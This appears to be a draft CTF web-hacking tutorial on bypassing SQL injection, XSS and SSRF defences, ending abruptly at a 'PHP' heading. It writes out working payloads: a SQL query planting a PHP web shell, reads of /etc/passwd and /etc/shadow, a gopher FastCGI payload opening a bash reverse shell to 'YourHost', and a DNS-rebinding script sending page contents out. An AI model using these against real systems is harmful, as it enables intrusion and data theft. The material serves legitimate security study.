Table of Contents

Introduction

Some basises...

This book aims to help you improve your CTF knowledge. It is all about advanced skills in CTF competitions. However, we will not talk about basis which is too time consuming. You should at least understand the basis of following vulnerabilities:

- SQL Injection
- Cross Site Scripting(XSS)
- CSRF
- SSRF
- XML Injection
- RFL/LFI
- Command Injection
- Simple Logic Based Vulnerabilities
- ...and some other OWASP vulns

Also, you need to know:

- Python/PHP/HTML/Javascript programming language
- SQL query
- HTTP protocol basis

If you cannot understand those bug terms, I strongly recommend you to visit OWASP top 10 to quickly understand them. **The Web Application Hacker's Handbook** is a book that can make noobs know the basis in a more detailed way. If you even cannot program, you'd better visit Python tutoiral.

In the following chapter, you probably need these tools to solve sample challanges:

- BurpSuite community edition (capture network packages)
- Python3 (scripting)
- curl (send HTTP request through CLI)

The structure of this book

In this book, we will first learn some general bypass ways of common vulnerabilities.(Basic Part, matching CTF Web 100~250) Then, some strange features in different programming language or web infrastructure will be pointed out.(Advanced Part, matching CTF Web

250~400) Although they might not be vulns, they enable us to bypass in a more surprising way.

All the attack or bypass methods are collected from the past CTF participator. This is a learning book either for you and me. I will summarize as much as possible, but there will always be missing part. If you want to add any new info, don't be hesitate to contact me!

Okay, let's start now.

Basic Part

- SQL Injection
- Cross Site Scripting
- Server Side Request Forgery

SQL Injection

Quick recap

Let's recap a simple SQLi:

```
mysql_query("select * from sample_table where id='"
+ request.parameter["USER_INPUT"] + "'");
```

Attacker converts the input from data to instruction through breaking the quotes, and then, it uses SQL command to take out sensitive data.

How does defender mitigate it? These three ways are most common:

- Santilize quotes
- Delete SQL keywords (e.g. `SELECT`) in the query.
- Detect keywords and prevent the response.
- Parameterized Query

The first method is most straightforward, but also low efficient. It does not occur in CTF frequently.

The second method is simillar the third method, and there bypass ways are almost the same. But defenser may do wrong in deleting keywords.

The third case, which we will discuss the most, is also the most common challenge type. Defender usually set up regular expressions to filter keywords, e.g. :

```
if(request.parameters.match("/[select|union|from|order|insert|delete]+/i")){
  response.write("SQLi!!!");
} else {
  /* Add parameter to query */
}
```

In most situations, we cannot bypass the fourth method. So, we will not discuss much of it.

We recap the causes and simple mitigations of SQLi. Now, let's discuss possible ways to bypass its protection.

> Detailed tutorial

Database features

For regular expression bypass, the most easy way is find an alternative keyword! Following examples are mostly based on MySQL. However, what I provide you is a way of thinking. If you find something interesting in this chapter, you can probably find that in a database other than MySQL too.

Eliminate space

For those expressions which block space

Comments

```
#
--
-- -
--+
//
/**/
/*something*/
```

There is a special comment in MySQL:
`MySQL> SELECT * FROM user /*!50110 WHERE id=1*/`

It will only executes the `WHERE id=1` when MySQL version is greater than 5.01.10 (notice the 50110). If you use `/*! WHERE id =1*/`, it will execute without checking version.

Mathematics notation

Scientific notation and `.` allow us to to eliminate space after the number:

```
SELECT * from sample where id=1e0UNION SELECT * FROM user;
SELECT * from sample where id=1.0UNION SELECT * FROM user;
```

Notice the 1e0? It's exactly the same as 1. However, it helps us eliminate space next to it.

When you use syntax (`! ~ + -`) to do numeric calculation, it can replace space before it.

```
SELECT+1+1; // Return 2
SELECT~1;   // Return 11844674407370955161 4
```

Some quotes

```
""  // select`1`;
''  // too lazy to repeat
``  /* Inside it, string would not be parsed */
    /* e.g. `"aa"` output "aa"               */
@   // It will add a @ in your table name
```

Special characters & Encode problems

Space replacement

For ASCII characters which match follwing hex, we can use them to replace space:

```
SQLite3: 0A 0D 0C 09 20
MySQL5: 09 0A 0B 0C 0D A0 20
PosgresSQL: 0A 0D 0C 09 20
Oracle 11g: 00 0A 0D 0C 09 20
MSSQL: 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1
B,1C,1D,1E,1F,20
```

Null byte injection

Sometimes, the WAF is written by C, which means that we can use %00 to prevent the regex from checking following payload:

```
GET /sqli?id=1%00%22union%20select%20flag%20from%20flag;--
```

Multibyte character injection

When the charset is multibyte character, we can use it to *eat* backquote, but we will talk this part in PHP section. If you want to know more now, just google **Multibyte character injection** or here.

MySQL character collation

This is caused by the difference between the character set of MySQL and PHP(or any other) MySQL client.

```
SELECT 'Ä'='a';  // Return 1
```

Alternative keywords

Logic Syntax

`and` -> `&&`

`or` -> `||`

`=` -> `like`

`!=` -> `not like`

MySQL functions

Split string

```
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)
```

Concat string

```
concat(version(),'|',user());
concat_ws('|',1,2,3)
```

Convert string/number

```
Char(49)
Hex('a')
Unhex(61)
Ascii('a')
CONV(61,16,10); // Convert 61 from hex(16) to dec(10)
```

If `,` is santilized

```
limit 1 offset 0
mid(version() from 1 for 1)
```

Getting info without bruteforce

How do you get current table names? By `show tables` ? Actually, databases have some tables or functions allowing us to read metadata, e.g.

```
select data from unknown_table union select 1,2,info from information_schema.processli
st
```

This will show our query, which is `select data from unknown_table`. Therefore, we can get it more easily.

There are many wonderful tables in `information_schema`:

Tables in information_schema	Function
TABLES	Info about table
PROCESSLIST	The query we are sending
SCHEMATA	Info about database
FILES	Info about the files in which MySQL tablespace data is stored
COLUMNS	Info about columns

Something other than fetching database

Write a file

If you don't get flag in database, you probably need to use shell for further exploitation.

```
SELECT "<? echo passthru($_GET['cmd']); ?>"
INTO OUTFILE '/var/www/shell.php';
```

Read a file

```
SELECT LOAD_FILE('/etc/passwd');
```

Dump database to a file

```
SELECT * FROM mytable INTO dumpfile '/tmp/somefile';
```

> Some references
> 1. My methods of WAF bypass(SQL Injection), Seebug, 2017
> 2. MySQL doc
> 3. SQL Injection Bypassing WAF, OWASP
> 4. SQL Injection Wiki

XSS

Quick Recap

Like SQLi, XSS is also caused by the confusion between code and input:

```
echo "<a>" + $__POST["a"] + "</a>";
```

When you type: `<script>alert(1)</script>`, an alert will occur.

Now, XSS is getting more and more popular in CTF competition. On one hand, it's the most popular web vulnerability. On the other hand, Javascript is a very *strange* language, which add fun to exploit.

Besides santilizer like regex, there is a special defense rule called CSP (Content Security Policy). CSP is like the N^X (non-executable stack), but it's in Web Browser. It does not prevent you to use XSS, rather, it adds difficulty to exploit.

HTML filter

Keyword replacement

Too many too write here, I just pasted some useful links:

XSS Filter Evasion Cheat Sheet

Payloads All the thing

HTML5 Security Guide

When you want to find new tag, don't forget MDN and chromium bug report center.

Interesting feature of HTML markup

- You can use strip to replace space: `<img/src=a/onload=xxx />`
- As the value of an attribute, it can be parsed as HTML encodes: `<IMG SRC="jav&#x09;ascript:alert('XSS');">`
- The HTML tag is case insensitive: `<SCripT>alert(1)</ScrIpT>`

Javascript filter

Keyword replacement

Execute code from string:

```
eval('alert(1)')
new Function('alert(1)');
```

Interesting

SSRF

1 Introduction

> Just simply shortify my past post and add extra notes.

1.1 Brief introduction of Server Side Request Forgery

Imagine you have a worker who helps you carry goods from the factory. If the worker does not check whether the good belong to you, you can ask him/her to bring out others' goods. The servers with Server Side Request Forgery (also known as SSRF or XSRF) vulnerability just act like those careless workers. They typically help user to fetch files or images, but would not check the destination. So, attacker can ask the server to give back resource from the private network. Thus, the server might become the proxy of attacking intranet. Hacker can utilize it to bypass firewall or NAT to enter private network, as a result, the vulnerabilities (e.g. PHP Fast-CGI unauthorized request, which allows user to execute PHP code) in private network might be exploited. Otherwise, hackers might use protocol like `file://` to achieve local system's files(e.g. /etc/passwd, which stores password in Linux operation system) ,or DDoS (Den of Service) internal network. Here is a picture to illustrate how SSRF works [1]:

Consider the following code:

```
<?php if (isset($_POST['url'])) {
    $content = file_get_contents($_POST['url']);
    $filename ='./images/'.rand().';img1.jpg';
    file_put_contents($filename, $content);
    echo $_POST['url'];
    $img = "<img src=\"".$filename."\"/>"; }
    echo $img;
?>
```

2.Method

2.1 Classification of SSRF

Before we enter the topic of exploitation, we need to classify SSRF and find out each type's property. After observing many cases, we separate SSRF to five types: content based, bool based, error based, blind based, and special SSRF. Different type of SSRF has distinctive

damage degree. And those types can be assorted to two cases—direct or indirect SSRF.

2.1.1 Direct SSRF

Attackers can confirm whether server has visited an address by the first three types of SSRF. The first term, content based, means that the body of server's response would contain the content of the URL you specified. Bool based SSRF [4] would not return content, it merely contain the HTTP status code. When the specified URL is unreachable, the server would send back a status code, such as 404 (Web page not found), 500 (Server has internal error), to tell clients that the URL is invalid to request. Because we can directly know which URL the server has visited and the unreachable URL, these three are easier for scripts to detect automatically. Content based and error based SSRF are exploitable in most cases.

2.1.2 Indirect SSRF

Not all the servers will contain error code when the destined host is down , but one thing in common is that they will keep trying many time before connection is closed. Thus, we can use the difference in time to confirm whether a host is alive: when the server takes much longer time to response, we can infer that the specified host is not up. Blind based SSRF is the most difficult type to exploit, because attackers cannot know if he or she sends payloads successfully. Special type refers to those uncommon SSRF. For example, a server might return "true" in the body of response when sending request successfully, otherwise, it gives us a "false". This seems like an error based SSRF, but they are totally different. However, this example only happens in ideal environment. In a real network, it's highly possible that we need to filter out some noise made by the server in response's body. For instance, it might send back JSON in following format:

```
{"url":"example.com", "acces":"false"}
```

So, we need to confirm the part reflecting server status and filter a whole lot data. Error based SSRF, however, would merely give us HTTP status code, which is in a fixed range. What's worse, some might include variable data like current time in their HTTP body. As a result, filtering will be an extremely difficult task for out program. To solve the problem, I will mention a technique called "tamper", which allows attackers to apply own method to filter data according to their requirements. Time based and blind SSRF are almost unexploitable, because we can not estimate if our requested URL is reachable. Content based SSRF, however, needs user to implement "tamper" (mentioned later) to help framework know if a URL is reachable.

2.2 Probe SSRF

Before exploiting, we need to whether a server has SSRF. For most cases, attacker specifies URL as the payload, sending it to the target through HTTP GET parameter or HTTP POST data (we will use the term 'SSRF vector' to refer them in the remaining article). We will replace every parameters to the specified URL and test the response. Please notice that our payload should be URL encoded, on the other hand, its special characters (such as '?' and '#') might cause our request malfunction. For instance, if the target had SSRF in URL http://target.com/?u=xxURLxx, and the xxURLxx is the SSRF vector. When we want it to connect http://example.com/?id=1&allow=yes and replace it to xxURLxx, the request becomes: http://target.com/?u=http://example.com/?id=1&allow=yes. So, the server will receive two parameters: id and allow (RFC 3986). Of course, if security researcher has identified SSRF manually, they can state the place of SSRF vector by specifying xxURLxx in GET parameter or POST data.

2.2.1 Basic Probe

We have introduced the assortment of SSRF, in this chapter, we will identify method of probing this vulnerability. Basic probe only indicate whether a server has SSRF, but won't classify its type. We set up several servers and enable wildcard DNS and HTTP records. The attack framework would ask target to send several request to our server, and the domain follow such format: .ourdomain.net . The ten digital number is a unique id for our target, we will match it with our server's record to identify a server. If the target does visit to our site, its DNS record and HTTP request will be stored. Then, the framework will connect to our server and use the random number to check whether our target has visited to it.

2.3 Scan the Intranet

One of the most crucial function for SSRF is attacking the Intranet. Before we exploit it, we need to know the running hosts and their address. The private IP segments ranged from 10.0.0.0 –10.255.255.255, 172.16.0.0–172.31.255.255 , to 192.168.0.0–192.168.255.255 (RFC 1918), which have more than 17000000 IPs. However, user can utilize DNS zone transfer or find leaked information. But such tasks are not easy to be done automatically, we need user to exploit them himself/herself. Requesting the target to access IP one by one is an impossible task. Thus, our scanner merely detect single IP or a network segment specified by user. To increase the speed, we scan a list of common ports occupied by common application rather than all ports. Here is part of our ports (the upper one is port number, the lower one is correspondent service name):

|------|------------| | Port | Service | | 22 | SSH | | 80 | Http Server | | 443 | HTTPS | | ... | ... |

Besides popularity, we will consider whether a service supports text-based protocols. If it does, it will be easier for us to customize server's request (The reason will be mentioned in chapter 2.4).

Protocols can extent the attack surface of SSRF. The most classical example is using file protocol to retrieve password directly (e.g. file:///etc/shadow). What's more, attackers can utilize gopher protocol to compose arbitrary text based request [5]. Thus, finding out supporting protocols is important for exploiting targets. Here is a list of exploitable protocol concluded by Yin Wang [6]:

```
file:// — Accessing local filesystem
http:// — Accessing HTTP URLs
ftp:// — Accessing FPP URLs
php:// — Accessing values I/O stream
data:// — Data Protocol(RFC 2397)
phar:// — PHP Archive
gopher:// — A protocol designed for dictionary based menu
dict:// — Dictionary Protocol
```

> Figure 3: Example protocols

However, not all the protocols can attacker apply. Some might be filtered by the firewall, other might not support by programming language. How do we match port with its protocol? Basically, we can change the schema of URLs and inspect the response (HTTP status code, time, and response body) from the server, and our SSRF vector becomes the following format:

`<current schema>://url:ports`

If the the response code is normal in error-based SSRF; or filled with context in context-based SSRF, we can confirm whether a protocol is supported by the host. Detecting all the supported schema for every port is inefficient. Thus, we would match a port with its default protocol first, (e.g. HTTP matches port 80, ftp matched port 24). After that, our framework tests the remaining protocols.

2.4 How to Send Custom-Build Request

In the previous part of the paper, I have mentioned that SSRF enables us to let target send request to a specific URL and return response to us. We can simply use the server to send GET request. However, we can merely control the URL, the remain parameters (e.g. cookies, user-agent, and post data) are generated by server. Unfortunately, we need to add or modify these parameters in some cases. For instance, a CMS (Content Management System) in the intranet has SQL injection vulnerability when parsing the header of a HTTP

request. What we control is merely the URL, how can we add header? CRLF injection [7] will be quite useful here. CRLF injection allows us to send Carriage-Return (ASCII 13, \r) Line-Feed (ASCII 10, \n), which is used to terminate a line of HTTP request. Moreover, each parameters is separated line by line in a HTTP response.

2.4.1 Using CRLF injection to add HTTP parameter

By injecting encoded CRLF to URL, we can add new parameters to server side's request. We will use the picture to illustrates the process :

```
//Attacker's request
GET ?url=http://example.com/%0d%0aRefeerer:localhost
Host:www.target.com
...

//Server's request
GET http://example.com
Referer:localhost
...
```

> Figure 4: Add parameters by CRLF injection

Imagine that www.target.com has SSRF vulnerability, we ask it to visit URL http://example.com/%0d%0aRefeerer:localhost. In this URL, %0d%0a is the URL encoded charsets of CRLF. When the server is parsing the URL, %0d%0a will be automatically decoded to carriage-return and line-feed symbols. Thus, we get a new line with our custom-build parameter (the Referer). This phenomenon happens in all decoding process that lack of checking characters. CRLF is not all-purpose, some server might not parse URL encode, while the other will filter out CRLF characters. To detect CRLF, we place a CRLF followed by random number at the end of our server's URL and ask our target to request the special URL. Once we found additional CRLF and previous random number, we can ensure if it has CRLF injection. Despite CRLF injection in HTTP, we can utilize other protocols to construct more powerful payload, which will be mentioned in 2.8.3 .

2.4.2 Use CRLF injection to smuggle other protocols Exactly, we can smuggle one protocols to transform them to different protocols. Orange Tsai has provided a list of protocols that are suitable to smuggle [9], which include:

HTTP Based:Elastic, CouchDB, MongoDB, Docker Text-based protocol

Text Based:FTP, SMTP, Redis, Memcached

These protocols enable attackers to transform them to exploitable protocols by adding encodes. For example, if there is a SMTP server without authentication in the intranet, we can construct following SSRF vector:

`https://address%0D%0AHELO evil.com%0D%0AMAIL FROM...:25/``

The SMTP would receive:

```
GET /
HOST:address:25
HELO evil.com
MAIL FROM...
```

Although the first two lines are invalid for SMTP protocols. But the next two line will make the server send forged mail (use forged identification evil.com in mail). When we received the mail with the forged identification, we can assume that the port is open and occupied by a SMTP server.

2.5 Content Based SSRF Exploitation

Content based SSRF provides attackers the clearest view of what server retrieve. Thus, we can get the fullest fingerprints of the Intranet. From server's response, security researcher may manually find out SQL injection, remote commands execution, and so on.

2.5.1 SSRF proxy

HTTP has five method: GET, POST, HEAD, TRACE, PUT, DELETE, OPTIONS, and CONNECT. Normally, it's only possible to let server use GET method by specifying a URL. When the request body in POST method merely contains parameters, GET and POST request are transferable, although it's still possible to be rejected by certain servers. How could we support as many parameters as possible? One way is CSRF injection, but it might cause HPP (HTTP Parameter Pollution). For instance, if the server has a specific user agent to request web sites, and we want to add own user agent, it will emerge following consequence (parameter u is a SSRF vector):

```
//Attacker's request
GET ?url=http://example.com/%0d%0aUser-Agent:Chrome
Host:www.target.com

//server's request
GET http://example.com
user-agent:Chrome
user-agent:Python URLlib
```

> Figure 5:Add UA through CRLF

Some server might reject HPP request, while other accept. After extending request method and parameters, we can set HTTP proxy for other tools. Face to large amount of requests, we decide to enable multi-thread to handle requests.

2.6 Error Based SSRF Exploitation

Attacker cannot get content from error based SSRF. Consequently, it is unlikely to use other tools helping us get data. What we only know is whether the server has successfully accessed a URL. It means that neither can we use vulnerabilities in response bodies nor the interactive payloads. Therefore, only by requesting specific path can we infer the Web service or framework. These paths are unique in different Web framework or service. For instance, if we can access path /jmx-console/ , /invoker/JMXInvokerServlet, the host has a high possibility of running JBOSS. If we can confirm a host's framework, it give us a chance to use a public payloads to attack it. However, the payload can only be GET or POST method, otherwise we cannot send correct request. And during the exploiting process, the payload does not need to use content from the server's response. Although we give a whole lot restrictions, there are still many exploitable payloads in error based SSRF [8]:

|--------------------|---| | Bug ID | Description | | S2–045 | Struts Deserialization Vulnerability | | PACKETSTORM:131185 | JBoss JMXInvokerServlet Remote Command Execution | | ... | ... |

> Figure 7: Sample vulnerabilities

Of course, these payloads can also be applied to context based SSRF. Although server cannot send back context it self, we can use let the server do DNS or HTTP request to take out data from the vulnerable server.

2.7 Using Non-HTTP Protocols to Exploit

2.7.1 File Protocol

We have detected a number of protocols in the previous part. Besides hacking the Intranet, SSRF give us chances to access server's file system directly. We can try fetching /etc/passwd and /etc/shadow. Moreover, attackers can access /proc to get other sensitive information like running application, machine hardware details, and so on. The SSRF attack framework stores a list of the location of sensitive files, and uses them as SSRF vector to get as much information as possible.

2.7.2 Gopher Protocol

Gopher gives attackers maximum extent of interacting different protocols, because it accepts URL encode (so it's possible to have CSRF injection) and does not have any headers or response body (there won't be any HPP). If we find text based protocol like Redis or Fast-CGI, we can construct special gopher request to attack them. For instance, if our scanner detects a Fast-CGI service in the port 9000 of intranet host 192.168.0.5. Then, we can use following payload in our SSRF vector:

```
gopher://192.168.0.5:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%0
1%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR192.168.0.5%0
F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VAL
UEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0A
auto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01D
OCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bas
h%20-i%20%3E%26%20/dev/tcp/YourHost/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09
b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
```

Bypass

Abuse HTTP hostname

Common trick:

```
http://www.allow.com@attack.com/
```

Localhost

One might want to use SSRF to let server to visit itself to bypass firewall, `localhost` and `127.0.0.1` might be blocked, but don't forget the whole `127.0.0.0/8` is loop address.

Some other IP address format

For 10.0.0.1:

```
012.0.0.1 OCT number
0xa.0.0.1 HEX number
167772161 DEC IP address
10.1 short IP format
0xA000001 HEX IP address
```

DNS Rebinding Attack

DNS Rebindin Attack is a special version of SSRF.

It switch DNS between original one and the victim's ip, and access some endpoint of the victim to bypass SOP. Image following script:

```
<script>
  setTimeout(1000, () => {
    fetch("admin.php").then( (response) => {
      response.text().then( (text) => {
        location = "www.victim.com?text=" + text;
        }
      }
    }
 )
</script>
```

After 500 seconds, we can update our DNS to 127.0.0.1. When the fetch access the resource, it will vist `127.0.0.1/admin.php`

Regex

Well, you have many interactions with it in previous chapters. Therefore, I won't introduce it anymore. Let's start from exploiting.

Common mistakes...

Find replacement

What they block you, find a replacement

For those which delete keyword...

If it is not a recursive function, just include a key word in a key word, like this:

```
SCRSCRIPTIPT
```

Once a regex delete the inner `SCRIPT`, the outer `SCR*****IPT` will recombine to a keyword.

PHP